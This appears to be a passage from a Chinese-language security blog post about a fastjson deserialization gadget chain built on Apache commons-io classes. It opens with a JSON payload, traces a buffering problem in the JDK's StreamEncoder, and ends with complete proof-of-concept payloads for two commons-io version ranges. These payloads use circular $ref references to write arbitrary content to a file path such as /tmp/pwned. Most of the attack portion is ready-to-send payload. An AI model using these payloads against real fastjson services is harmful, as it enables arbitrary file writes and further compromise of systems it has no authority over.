{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{ "@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence":{"@type":"java.lang.String""aaaaaa" }, "charsetName":"UTF-8", "bufferSize":1024 }, "branch":{ "@type":"org.apache.commons.io.output.WriterOutputStream", "writer": { "@type":"org.apache.commons.io.output.FileWriterWithEncoding", "file": "/tmp/pwned", "encoding": "UTF-8", "append": false }, "charsetName": "UTF-8", "bufferSize": 1024, "writeImmediately": true }, "closeBranch":true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }
复制
我们尝试去运行,发现确实创建了我们的文件,但是奇怪的是没有内容在里面
出现问题和分析
我们只能调试寻找问题,主要是关注我们的字节流
首先我们需要知道这个国产有哪些环节,才能了解错误的过程
上面的过程无非就是两步,第一个是读取文件内容,一个是写入文件内容
经过调试,发现读取文件内容是读取到了的,那就是写入的问题
最后根据参考的分析,问题是出现在sun.nio.cs.StreamEncoder#implWrite这里
while(var4.hasRemaining()) { CoderResult var5 = this.encoder.encode(var4, this.bb, false); if (var5.isUnderflow()) { assert var4.remaining() <= 1 : var4.remaining(); if (var4.remaining() == 1) { this.haveLeftoverChar = true; this.leftoverChar = var4.get(); } break; } if (var5.isOverflow()) { assert this.bb.position() > 0; this.writeBytes(); } else { var5.throwException(); } }
复制
可以看到这里会有个判断,`if (var5.isUnderflow()) {
assert var4.remaining() <= 1 : var4.remaining();
if (var4.remaining() == 1) { this.haveLeftoverChar = true; this.leftoverChar = var4.get(); } break; } if (var5.isOverflow()) { assert this.bb.position() > 0; this.writeBytes();`
复制
必须var5.isOverflow()才可以写入
如果var5.isUnderflow()成立,那么表示输入已被解码或编码。这个时候如果ByteBuffer (var4) 中还剩下一个字符,它会被取出并保存,下一次可以继续对这个字符的操作。
如果var5.isOverflow()成立,表示ByteBuffer没有足够的空间来存储解码或编码后的结果。在这种情况下,这段代码将ByteBuffer的内容写入到输出流中,以释放空间。
那根据这个代码,意思是我们的内容没有被写入字节流的原因是我们的内容不够大,被ByteBuffer存起来了,那到底多大呢?
这个是根据我们var5判断的,我们看看 CoderResult var5 = this.encoder.encode(var4, this.bb, false);
这个代码过程和isUnderflow()这个方法
先看这个方法比较简单
public boolean isUnderflow() { return (type == CR_UNDERFLOW); }
复制
就是比较type和CR_UNDERFLOW,主要是观察我们的type是怎么来的,因为CR_UNDERFLOW是个定值
我们根据var5赋值过程,首先进入encode方法
关键代码部分
CoderResult cr; try { cr = encodeLoop(in, out); } catch (BufferUnderflowException x) { throw new CoderMalfunctionError(x); } catch (BufferOverflowException x) { throw new CoderMalfunctionError(x); } if (cr.isOverflow()) return cr; if (cr.isUnderflow()) { if (endOfInput && in.hasRemaining()) { cr = CoderResult.malformedForLength(in.remaining()); // Fall through to malformed-input case } else { return cr;
复制
经过我们调试发现type是在我们的cr之中的
我们关注cr是怎么来的,跟进cr = encodeLoop(in, out);
protected final CoderResult encodeLoop(CharBuffer var1, ByteBuffer var2) { return var1.hasArray() && var2.hasArray() ? this.encodeArrayLoop(var1, var2) : this.encodeBufferLoop(var1, var2); }
复制
会进入this.encodeArrayLoop(var1, var2)
跟进
这个方法关键返回两种结果,一种是
return CoderResult.UNDERFLOW
复制
这种type就是=0
一种是return overflow(var1, var4, var2, var7);
返回的是return CoderResult.OVERFLOW;
type就是1,所以这里就是我们能不能write的核心地方
我们看看是怎么才能返回return CoderResult.OVERFLOW;`
for(; var4 < var5; ++var4) { char var10 = var3[var4]; if (var10 < 128) { if (var7 >= var8) { return overflow(var1, var4, var2, var7); }
复制
else if (var10 < 2048) { if (var8 - var7 < 2) { return overflow(var1, var4, var2, var7); }
复制
等等,逻辑复杂起来了,靠不想分析了,直接给结论
可以看到最大限制就是我们的8182,那我们直接发一个超过的数据就好了
但是真的是这样的吗?
也就是说每次读取或者写入的字节数最多也就是 4096,但 Writer buffer 大小默认是 8192
所以直接写一堆数据是没有用的
循环引用解决问题
聪明的作者想到了一点,我们多次往里面写入就好了
有过 fastjson 代码分析经验的读者也许会猜到解决办法,那就是通过 $ref 循环引用,多次往同一个 OutputStream 流里输出即可。一次不够 overflow 就多写几次,直到 overflow 为止,就能触发实际的文件写入操作。
最终poc
commons-io 2.0 - 2.6 版本
{ "x":{ "@type":"com.alibaba.fastjson.JSONObject", "input":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{ "@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)" }, "charsetName":"UTF-8", "bufferSize":1024 }, "branch":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.output.WriterOutputStream", "writer":{ "@type":"org.apache.commons.io.output.FileWriterWithEncoding", "file":"/tmp/pwned", "encoding":"UTF-8", "append": false }, "charsetName":"UTF-8", "bufferSize": 1024, "writeImmediately": true }, "trigger":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger2":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger3":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" } } }
复制
commons-io 2.7 - 2.8.0 版本:
{ "x":{ "@type":"com.alibaba.fastjson.JSONObject", "input":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{ "@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)", "start":0, "end":2147483647 }, "charsetName":"UTF-8", "bufferSize":1024 }, "branch":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.output.WriterOutputStream", "writer":{ "@type":"org.apache.commons.io.output.FileWriterWithEncoding", "file":"/tmp/pwned", "charsetName":"UTF-8", "append": false }, "charsetName":"UTF-8", "bufferSize": 1024, "writeImmediately": true }, "trigger":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger2":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger3":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" } }
复制